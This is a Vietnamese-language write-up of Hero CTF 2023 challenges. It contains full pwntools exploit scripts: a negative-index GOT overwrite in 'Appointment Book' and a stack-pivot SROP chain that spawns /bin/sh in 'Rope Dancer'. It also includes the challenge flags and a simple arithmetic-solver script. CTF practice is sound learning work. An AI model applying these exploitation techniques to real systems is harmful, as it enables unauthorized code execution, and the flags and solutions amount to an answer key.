# (writeup) Hero CTF 2023 ## PWN ### Appointment Book (solved) - check file + checksec ![](https://hackmd.io/_uploads/SkRKvj4H3.png) - check ida ![](https://hackmd.io/_uploads/ryQLOjNS2.png) - có cả hàm cho ta shell nhưng bị ẩn ![](https://hackmd.io/_uploads/r1gvFjErn.png) - ở option1 đơn giản là liệt kê ra các appointment - ta cần khai thác ở option2 ![](https://hackmd.io/_uploads/HyRxcoVrh.png) - cấp phát bộ nhớ cho biến **s** và **v4** - có lỗi out_of_bound ở đây - ta có thể nhập vào số âm (hiện tại chưa biết nên nhập bao bnhieu nên nhập đại -10) - biến **v5** sẽ được gán địa chỉ của **&appointment + 16 * v2** - rồi tới bước nhập ngày tháng năm vào biến **s**, sau đó gắn biến **v0** cho giá trị của biến **s** sau khi đi qua hàm **date_to_timestamp** ![](https://hackmd.io/_uploads/BJSiciVS3.png) - rồi con trỏ ``*v5`` sẽ dc gán giá trị **v0** - cuối cùng nhập thêm 1 đoạn messages về cái appointment đó - đưa nội dung vừa nhập đó vào vị trí địa chỉ tiếp theo của **v5** - rồi **free(s)** - hmmm, cho hàm lấy shell, vậy sao có shell bh... - thì idea thế này: - - cho v5 là địa chỉ GOT nào đó để đến khi nào gặp hàm đó thực thi là có shell luôn (chọn **puts@GOT**) ![](https://hackmd.io/_uploads/SJsHR2VBh.png) > thực thi puts 1 lần nữa do vòng lặp sẽ cho shell - - hoặc chọn **exit@GOT** khi mình chọn option3 thoát chương trình sẽ cho shell - - hoặc chọn **free@GOT** đều được - - giá trị v5 là hàm get shell - - giá trị được lấy từ hàm đổi ngày sang số ![](https://hackmd.io/_uploads/rJAAt3VB2.png) - có liên quan đến UNIX timestamp - tìm kiếm ra [link này](https://www.unixtimestamp.com/) ![](https://hackmd.io/_uploads/SkOEisNS2.png) > 18 tháng 2 năm 1970 - vậy thì từ **appointment** đến **puts@GOT** là -12, đến **free@GOT** là -13, đến **exi@GOT** là -5 - chọn cách nào cũng dc ![](https://hackmd.io/_uploads/r1vdpnEB2.png) - lần nhập cuối cùng không quan trọng ![](https://hackmd.io/_uploads/BkMmDsEH2.png) - script: ```python #!/usr/bin/python3 from pwn import * exe = ELF('./appointment_book', checksec=False) context.binary = exe def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b* create_appointment+161 b* create_appointment+367 c ''') input() def info(msg): return log.info(msg) def sla(msg, data): return p.sendlineafter(msg, data) def sa(msg, data): return p.sendafter(msg, data) def sl(data): return p.sendline(data) def s(data): return p.send(data) if args.REMOTE: p = remote('static-03.heroctf.fr',5000) else: p = process(exe.path) #GDB() sla(b"Your choice: ", b"2") sla(b"(0-7): ", b"-12") sla(b": ", b"1970-2-18 22:27:2") ##local #sla(b": ", b"1970-2-18 14:27:2") ##server system = exe.sym['debug_remote'] log.info("time: " + str(system) ) sla(b": ", b'a'*30) p.interactive() #Hero{Unch3ck3d_n3g4t1v3_1nd3x_1nt0_G0T_0v3wr1t3_g03s_brrrrrr} ``` >#Hero{Unch3ck3d_n3g4t1v3_1nd3x_1nt0_G0T_0v3wr1t3_g03s_brrrrrr} --- ### Rope Dancer - check file + checksec ![](https://hackmd.io/_uploads/HJ_97aNB2.png) - check ida ![](https://hackmd.io/_uploads/rk5Pma4H2.png) ![](https://hackmd.io/_uploads/Hk27EpVrn.png) > offset 16 + 8(saved rbp) ![](https://hackmd.io/_uploads/HyCNqp4r2.png) - về cơ bản thì chắc chắn sẽ làm phương pháp SYSROP - tìm kiếm thanh ghi rax, syscall ![](https://hackmd.io/_uploads/SJrmm04S2.png) > khum có cái nào dễ dàng cả > đổi hướng: xài eax ![](https://hackmd.io/_uploads/HJh8mRErh.png) > chỉ có ``xor eax, eax`` phù hợp để thiết lập thanh ghi ![](https://hackmd.io/_uploads/BkHLB04B3.png) > xor thôi không đủ, cần cả tăng nó lên giá trị 0xf > về syscall chắc chắn có - phân tích ida: ![](https://hackmd.io/_uploads/S1oKylHHn.png) - thông qua hàm **if** nhờ lần nhập đầu là 'yes\n' - lần nhập thứ 2 yêu cầu là gmail, tức là miễn chỉ cần có byte '@' (tức là byte 0x40) là thoả mãn ![](https://hackmd.io/_uploads/ryYMeeSB3.png) >nếu không là exit chương trình - lần nhập 3 có thể là sigreturnframe - idea: -- ghi '/bin/sh' vào 1 địa chỉ ghi được, đồng thời địa chỉ đó có byte '@' ![](https://hackmd.io/_uploads/HJj74xHrh.png) ![](https://hackmd.io/_uploads/ryiSNgrB3.png) >duoc lun nek kkkk > nhưng ta cần địa chỉ đó nằm ở rbp ![](https://hackmd.io/_uploads/SkgNSerSn.png) >thấy gadget này hợp lí hơn, chỉ cần byte ghi đè saved rbp là địa chỉ đó là được - về cách set rax về 0xf, mình có xor_inc_ret rồi - tức là xor về 0, inc lên 1 rồi ret - vậy ta cần inc_ret thêm 14 lần thành 0xf=15 ![](https://hackmd.io/_uploads/SyQgYeHHn.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./ropedancer',checksec=False) p = process(exe.path) # gdb.attach(p, gdbscript=''' # b*get_motivation_letter+20 # b*get_motivation_letter+22 # c # ''') # input() p.sendlineafter(b'ROPedancer? ',b'yes') syscall = 0x000000000040102f mov_rsp_rbp_pop_rbp_ret = 0x0000000000401114 xor_eax_eax_inc_al_ret = 0x0000000000401011 inc_al_ret = 0x0000000000401013 payload = b'A'*16 payload += p64(exe.sym['motivation_letter']) payload += p64(mov_rsp_rbp_pop_rbp_ret) p.sendlineafter(b'contact you: ',payload) binsh = exe.sym['motivation_letter'] frame = SigreturnFrame() frame.rax = 0x3b frame.rdi = binsh frame.rsi = 0 frame.rdx = 0 frame.rip = syscall payload = b'/bin/sh\0' payload += p64(xor_eax_eax_inc_al_ret) payload += p64(inc_al_ret)*14 payload += p64(syscall) payload += bytes(frame) p.sendlineafter(b'hire you: ',payload) p.interactive() ``` >Hero{1_w4nN4_b3_4_ROP3_D4nC3r_s0_b4d!!!} --- ## PROG ### Math Trap (solved) - đây là bài tính toán đơn giản - chỉ thấy những phép toán + - * / - sử dụng framework pwntool để nhận chuỗi - lồng hàm if để kiểm tra rồi tính phép toán phù hợp - do là wu hơi trễ nên k có hình kkkk =)))) - script: ```python #!/usr/bin/python3 from pwn import * p = remote('static-01.heroctf.fr',8000) p.recvuntil(b'me ?\n') for i in range(0,100): log.info("round: " + str(i + 1)) num1 = int(p.recvuntil(b' '),10) log.info("num1: " + str(num1)) tinh = p.recvuntil(b' ',drop=True) log.info("tinh: " + str(tinh)) num2 = int(p.recvline()[:-1],10) log.info("num2: " + str(num2)) if tinh == b'+': sum = num1 + num2 p.sendlineafter(b'=',str(sum)) if tinh == b'-': sum = num1 - num2 p.sendlineafter(b'=',str(sum)) if tinh == b'*': sum = num1 * num2 p.sendlineafter(b'=',str(sum)) if tinh == b'//': sum = num1 // num2 p.sendlineafter(b'=',str(sum)) p.interactive() #Hero{E4sy_ch4ll3ng3_bu7_tr4pp3d} ``` >Hero{E4sy_ch4ll3ng3_bu7_tr4pp3d} ---